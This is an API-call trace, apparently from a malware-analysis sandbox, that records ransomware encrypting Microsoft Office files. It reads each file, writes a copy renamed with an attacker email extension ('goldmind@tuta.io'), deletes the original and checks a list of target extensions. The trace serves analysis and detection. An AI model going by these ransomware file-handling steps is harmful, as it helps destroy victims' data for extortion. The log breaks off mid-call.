[0101.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.286] GetLastError () returned 0x0 [0101.286] ReadFile (in: hFile=0x398, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x72, lpOverlapped=0x0) returned 1 [0101.287] WriteFile (in: hFile=0x3b4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x80, lpOverlapped=0x0) returned 1 [0101.288] ReadFile (in: hFile=0x398, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.288] WriteFile (in: hFile=0x3b4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0101.288] SetEndOfFile (hFile=0x3b4) returned 1 [0101.288] CloseHandle (hObject=0x3b4) returned 1 [0101.288] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.288] SetEndOfFile (hFile=0x398) returned 1 [0101.383] CloseHandle (hObject=0x398) returned 1 [0101.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk")) returned 1 [0101.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0101.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0101.511] lstrlenW (lpString=".doc") returned 4 [0101.511] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0101.511] lstrlenW (lpString=".docx") returned 5 [0101.511] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0101.511] lstrlenW (lpString=".pdf") returned 4 [0101.511] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0101.511] lstrlenW (lpString=".xls") returned 4 [0101.511] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0101.511] lstrlenW (lpString=".xlsx") returned 5 [0101.511] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0101.511] lstrlenW (lpString=".ppt") returned 4 [0101.511] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0101.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0101.511] lstrlenW (lpString=".zip") returned 4 [0101.511] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0101.511] lstrlenW (lpString=".rar") returned 4 [0101.511] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0101.511] lstrlenW (lpString=".bz2") returned 4 [0101.511] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0101.511] lstrlenW (lpString=".7z") returned 3 [0101.511] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0101.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0101.511] lstrlenW (lpString=".dbf") returned 4 [0101.511] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0101.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0101.511] lstrlenW (lpString=".1cd") returned 4 [0101.511] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0101.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0101.511] lstrlenW (lpString=".jpg") returned 4 [0101.511] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0101.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0101.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0101.511] lstrlenW (lpString=".doc") returned 4 [0101.511] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0101.511] lstrlenW (lpString=".docx") returned 5 [0101.511] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0101.511] lstrlenW (lpString=".pdf") returned 4 [0101.511] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0101.511] lstrlenW (lpString=".xls") returned 4 [0101.511] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0101.511] lstrlenW (lpString=".xlsx") returned 5 [0101.511] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0101.511] lstrlenW (lpString=".ppt") returned 4 [0101.511] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0101.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0101.511] lstrlenW (lpString=".zip") returned 4 [0101.512] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0101.512] lstrlenW (lpString=".rar") returned 4 [0101.512] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0101.512] lstrlenW (lpString=".bz2") returned 4 [0101.512] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0101.512] lstrlenW (lpString=".7z") returned 3 [0101.512] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0101.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0101.512] lstrlenW (lpString=".dbf") returned 4 [0101.512] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0101.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0101.512] lstrlenW (lpString=".1cd") returned 4 [0101.512] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0101.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0101.512] lstrlenW (lpString=".jpg") returned 4 [0101.512] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0101.512] lstrcmpiW (lpString1=".GRA", lpString2=".gold") returned 1 [0101.512] lstrlenW (lpString="GR8GALRY.GRA") returned 12 [0101.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0101.512] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=186880) returned 1 [0101.512] CloseHandle (hObject=0x3bc) returned 1 [0101.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra")) returned 0x20 [0101.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0101.513] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.513] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.513] GetLastError () returned 0x0 [0101.513] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x2da00, lpOverlapped=0x0) returned 1 [0101.518] WriteFile (in: hFile=0x3b8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x2da10, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x2da10, lpOverlapped=0x0) returned 1 [0101.521] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.521] WriteFile (in: hFile=0x3b8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.521] SetEndOfFile (hFile=0x3b8) returned 1 [0101.521] CloseHandle (hObject=0x3b8) returned 1 [0101.521] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.521] SetEndOfFile (hFile=0x3bc) returned 1 [0101.527] CloseHandle (hObject=0x3bc) returned 1 [0101.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra")) returned 1 [0101.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0101.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0101.528] lstrlenW (lpString=".doc") returned 4 [0101.528] lstrcmpiW (lpString1=".doc", lpString2=".GRA") returned -1 [0101.528] lstrlenW (lpString=".docx") returned 5 [0101.528] lstrcmpiW (lpString1=".docx", lpString2="Y.GRA") returned -1 [0101.528] lstrlenW (lpString=".pdf") returned 4 [0101.528] lstrcmpiW (lpString1=".pdf", lpString2=".GRA") returned 1 [0101.528] lstrlenW (lpString=".xls") returned 4 [0101.528] lstrcmpiW (lpString1=".xls", lpString2=".GRA") returned 1 [0101.528] lstrlenW (lpString=".xlsx") returned 5 [0101.528] lstrcmpiW (lpString1=".xlsx", lpString2="Y.GRA") returned -1 [0101.528] lstrlenW (lpString=".ppt") returned 4 [0101.528] lstrcmpiW (lpString1=".ppt", lpString2=".GRA") returned 1 [0101.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0101.528] lstrlenW (lpString=".zip") returned 4 [0101.528] lstrcmpiW (lpString1=".zip", lpString2=".GRA") returned 1 [0101.528] lstrlenW (lpString=".rar") returned 4 [0101.528] lstrcmpiW (lpString1=".rar", lpString2=".GRA") returned 1 [0101.528] lstrlenW (lpString=".bz2") returned 4 [0101.528] lstrcmpiW (lpString1=".bz2", lpString2=".GRA") returned -1 [0101.528] lstrlenW (lpString=".7z") returned 3 [0101.528] lstrcmpiW (lpString1=".7z", lpString2="GRA") returned -1 [0101.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0101.529] lstrlenW (lpString=".dbf") returned 4 [0101.529] lstrcmpiW (lpString1=".dbf", lpString2=".GRA") returned -1 [0101.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0101.529] lstrlenW (lpString=".1cd") returned 4 [0101.529] lstrcmpiW (lpString1=".1cd", lpString2=".GRA") returned -1 [0101.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0101.529] lstrlenW (lpString=".jpg") returned 4 [0101.529] lstrcmpiW (lpString1=".jpg", lpString2=".GRA") returned 1 [0101.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0101.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0101.529] lstrlenW (lpString=".doc") returned 4 [0101.529] lstrcmpiW (lpString1=".doc", lpString2=".GRA") returned -1 [0101.529] lstrlenW (lpString=".docx") returned 5 [0101.529] lstrcmpiW (lpString1=".docx", lpString2="Y.GRA") returned -1 [0101.529] lstrlenW (lpString=".pdf") returned 4 [0101.529] lstrcmpiW (lpString1=".pdf", lpString2=".GRA") returned 1 [0101.529] lstrlenW (lpString=".xls") returned 4 [0101.529] lstrcmpiW (lpString1=".xls", lpString2=".GRA") returned 1 [0101.529] lstrlenW (lpString=".xlsx") returned 5 [0101.529] lstrcmpiW (lpString1=".xlsx", lpString2="Y.GRA") returned -1 [0101.529] lstrlenW (lpString=".ppt") returned 4 [0101.529] lstrcmpiW (lpString1=".ppt", lpString2=".GRA") returned 1 [0101.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0101.529] lstrlenW (lpString=".zip") returned 4 [0101.529] lstrcmpiW (lpString1=".zip", lpString2=".GRA") returned 1 [0101.529] lstrlenW (lpString=".rar") returned 4 [0101.529] lstrcmpiW (lpString1=".rar", lpString2=".GRA") returned 1 [0101.529] lstrlenW (lpString=".bz2") returned 4 [0101.529] lstrcmpiW (lpString1=".bz2", lpString2=".GRA") returned -1 [0101.529] lstrlenW (lpString=".7z") returned 3 [0101.529] lstrcmpiW (lpString1=".7z", lpString2="GRA") returned -1 [0101.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0101.529] lstrlenW (lpString=".dbf") returned 4 [0101.529] lstrcmpiW (lpString1=".dbf", lpString2=".GRA") returned -1 [0101.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0101.529] lstrlenW (lpString=".1cd") returned 4 [0101.529] lstrcmpiW (lpString1=".1cd", lpString2=".GRA") returned -1 [0101.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0101.529] lstrlenW (lpString=".jpg") returned 4 [0101.529] lstrcmpiW (lpString1=".jpg", lpString2=".GRA") returned 1 [0101.529] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0101.529] lstrlenW (lpString="GRAPH.HXS") returned 9 [0101.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0101.530] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=610086) returned 1 [0101.530] CloseHandle (hObject=0x3bc) returned 1 [0101.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs")) returned 0x20 [0101.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0101.535] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.535] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.536] GetLastError () returned 0x0 [0101.536] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x94f26, lpOverlapped=0x0) returned 1 [0101.548] WriteFile (in: hFile=0x3b8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x94f30, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x94f30, lpOverlapped=0x0) returned 1 [0101.727] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.727] WriteFile (in: hFile=0x3b8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0101.727] SetEndOfFile (hFile=0x3b8) returned 1 [0101.727] CloseHandle (hObject=0x3b8) returned 1 [0101.727] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.727] SetEndOfFile (hFile=0x3bc) returned 1 [0101.738] CloseHandle (hObject=0x3bc) returned 1 [0101.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.947] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs")) returned 1 [0102.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0102.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0102.014] lstrlenW (lpString=".doc") returned 4 [0102.014] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0102.014] lstrlenW (lpString=".docx") returned 5 [0102.014] lstrcmpiW (lpString1=".docx", lpString2="H.HXS") returned -1 [0102.014] lstrlenW (lpString=".pdf") returned 4 [0102.014] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0102.015] lstrlenW (lpString=".xls") returned 4 [0102.015] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0102.015] lstrlenW (lpString=".xlsx") returned 5 [0102.015] lstrcmpiW (lpString1=".xlsx", lpString2="H.HXS") returned -1 [0102.015] lstrlenW (lpString=".ppt") returned 4 [0102.015] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0102.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0102.015] lstrlenW (lpString=".zip") returned 4 [0102.015] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0102.015] lstrlenW (lpString=".rar") returned 4 [0102.015] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0102.015] lstrlenW (lpString=".bz2") returned 4 [0102.015] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0102.015] lstrlenW (lpString=".7z") returned 3 [0102.015] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0102.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0102.015] lstrlenW (lpString=".dbf") returned 4 [0102.015] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0102.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0102.015] lstrlenW (lpString=".1cd") returned 4 [0102.015] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0102.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0102.015] lstrlenW (lpString=".jpg") returned 4 [0102.015] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0102.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0102.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0102.015] lstrlenW (lpString=".doc") returned 4 [0102.015] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0102.015] lstrlenW (lpString=".docx") returned 5 [0102.015] lstrcmpiW (lpString1=".docx", lpString2="H.HXS") returned -1 [0102.015] lstrlenW (lpString=".pdf") returned 4 [0102.015] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0102.015] lstrlenW (lpString=".xls") returned 4 [0102.015] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0102.015] lstrlenW (lpString=".xlsx") returned 5 [0102.015] lstrcmpiW (lpString1=".xlsx", lpString2="H.HXS") returned -1 [0102.015] lstrlenW (lpString=".ppt") returned 4 [0102.015] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0102.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0102.015] lstrlenW (lpString=".zip") returned 4 [0102.015] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0102.015] lstrlenW (lpString=".rar") returned 4 [0102.015] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0102.015] lstrlenW (lpString=".bz2") returned 4 [0102.015] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0102.015] lstrlenW (lpString=".7z") returned 3 [0102.015] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0102.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0102.015] lstrlenW (lpString=".dbf") returned 4 [0102.015] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0102.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0102.015] lstrlenW (lpString=".1cd") returned 4 [0102.015] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0102.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0102.015] lstrlenW (lpString=".jpg") returned 4 [0102.015] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0102.016] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0102.016] lstrlenW (lpString="GROOVE_COL.HXC") returned 14 [0102.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0102.092] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=626) returned 1 [0102.092] CloseHandle (hObject=0x3b4) returned 1 [0102.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc")) returned 0x20 [0102.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0102.093] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.093] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.093] GetLastError () returned 0x0 [0102.093] ReadFile (in: hFile=0x3b4, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x272, lpOverlapped=0x0) returned 1 [0102.131] WriteFile (in: hFile=0x3bc, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x280, lpOverlapped=0x0) returned 1 [0102.132] ReadFile (in: hFile=0x3b4, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.132] WriteFile (in: hFile=0x3bc, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf0, 